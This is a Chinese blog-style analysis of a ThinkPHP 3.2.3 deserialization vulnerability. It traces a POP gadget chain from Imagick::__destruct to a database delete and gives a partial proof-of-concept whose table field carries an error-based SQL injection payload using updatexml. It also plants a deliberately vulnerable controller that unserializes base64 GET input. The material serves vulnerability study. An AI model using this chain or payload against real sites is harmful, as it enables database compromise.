文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

Thinkphp3.2.3反序列化漏洞实例代码分析

2023-07-05 05:59

关注

这篇文章主要介绍“Thinkphp3.2.3反序列化漏洞实例代码分析”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Thinkphp3.2.3反序列化漏洞实例代码分析”文章能帮助大家解决问题。

魔术方法

以下面这个魔术方法为例:

_destruct

该方法的作用是,某个对象的所有引用都被删除或者当对象被显式销毁时执行。例如下面代码:

<?phpclass User{    public function __destruct()    {        echo "xino</br>";    }}$test = new User();$ser = serialize($test);unserialize($ser);?>

执行后会发现调用了魔术方法,我们要想办法来寻找代码之间的关系来构造 反序列化链

复现

这里我是用小皮面板搭建好环境后开始我们的分析,下面是主界面:

Thinkphp3.2.3反序列化漏洞实例代码分析

需要在控制器IndexController.class.php 处写入:

public function index(){    unserialize(base64_decode($_GET[1]));}

首先走到Library/Think/Image/Driver/Imagick.class.php ,代码如下:

 public function __destruct()    {        empty($this->img) || $this->img->destroy();    }}

这里有一个可控的变量img,因为该变量走向了destory(),于是我们寻找一下:

Library/Think/Session/Driver/Memcache.class.php ,该处有个一样的方法:

 public function destroy($sessID)    {        return $this->handle->delete($this->sessionName . $sessID);    }

我们会发现handle和sessionName参数是可控,因为走向了delete函数,于是继续跟进寻找delete,在Mode/Lite/Model.class.php 处:

   public function delete($options = array())    {        $pk = $this->getPk();        if (empty($options) && empty($this->options['where'])) {            // 如果删除条件为空 则删除当前数据对象所对应的记录            if (!empty($this->data) && isset($this->data[$pk])) {                return $this->delete($this->data[$pk]);            } else {                return false;            }        }        if (is_numeric($options) || is_string($options)) {            // 根据主键删除记录            if (strpos($options, ',')) {                $where[$pk] = array('IN', $options);            } else {                $where[$pk] = $options;            }            $options          = array();            $options['where'] = $where;        }        // 根据复合主键删除记录        if (is_array($options) && (count($options) > 0) && is_array($pk)) {            $count = 0;            foreach (array_keys($options) as $key) {                if (is_int($key)) {                    $count++;                }            }            if (count($pk) == $count) {                $i = 0;                foreach ($pk as $field) {                    $where[$field] = $options[$i];                    unset($options[$i++]);                }                $options['where'] = $where;            } else {                return false;            }        }        // 分析表达式        $options = $this->_parseOptions($options);        if (empty($options['where'])) {            // 如果条件为空 不进行删除操作 除非设置 1=1            return false;        }        if (is_array($options['where']) && isset($options['where'][$pk])) {            $pkValue = $options['where'][$pk];        }        if (false === $this->_before_delete($options)) {            return false;        }        $result = $this->db->delete($options);//数据库驱动类中的delete()        if (false !== $result && is_numeric($result)) {            $data = array();            if (isset($pkValue)) {                $data[$pk] = $pkValue;            }            $this->_after_delete($data, $options);        }        // 返回删除记录个数        return $result;    }

这里比较复杂,需要分析一下,pk,pk,pk,data,$options参数都是可控的,第二次调用该函数后是调用db(Library/Think/Db/Driver.class.php )里面的函数,进去看一下:

$table = $this-&gt;parseTable($options['table']);$sql   = 'DELETE FROM ' . $table;return $this-&gt;execute($sql, !empty($options['fetch_sql']) ? true : false);

这里只贴了比较关键的代码,看到table经过parseTable处理之后进了sql语句,跟进了发现没有过滤什么,直接返回了数据,最后调用了execute,我们分析其代码:

 public function execute($str,$fetchSql=false) {        $this->initConnect(true);        if ( !$this->_linkID ) return false;        $this->queryStr = $str;        if(!empty($this->bind)){            $that   =   $this;            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));        }        if($fetchSql){            return $this->queryStr;        }

看到第二行是一个初始化连接的代码,我们跟进到最后发现:

 public function connect($config = '', $linkNum = 0, $autoConnection = false)    {        if (!isset($this->linkID[$linkNum])) {            if (empty($config)) {                $config = $this->config;            }            try {                if (empty($config['dsn'])) {                    $config['dsn'] = $this->parseDsn($config);                }                if (version_compare(PHP_VERSION, '5.3.6', '<=')) {                    // 禁用模拟预处理语句                    $this->options[PDO::ATTR_EMULATE_PREPARES] = false;                }                $this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);            } catch (\PDOException $e) {                if ($autoConnection) {                    trace($e->getMessage(), '', 'ERR');                    return $this->connect($autoConnection, $linkNum);                } elseif ($config['debug']) {                    E($e->getMessage());                }            }        }        return $this->linkID[$linkNum];    }

可以通过里面的相应代码:

$this->config

建立数据库连接,整个的POP链跟进顺序如下:

__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->

因为构造poc较长,这里只贴关键处,有兴趣的小伙伴可以自行去构造:

  public function __construct(){            $this->db = new Mysql();            $this->options['where'] = '';            $this->pk = 'id';            $this->data[$this->pk] = array(                "table" => "name where 1=updatexml(1,user(),1)#",                "where" => "1=1"            ); }

生成后传入payload即可实现错报注入,体现在payload里就是table这个语句,经过一串的操作使之与数据库连接来执行sql语句

关于“Thinkphp3.2.3反序列化漏洞实例代码分析”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程网行业资讯频道,小编每天都会为大家更新不同的知识点。

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯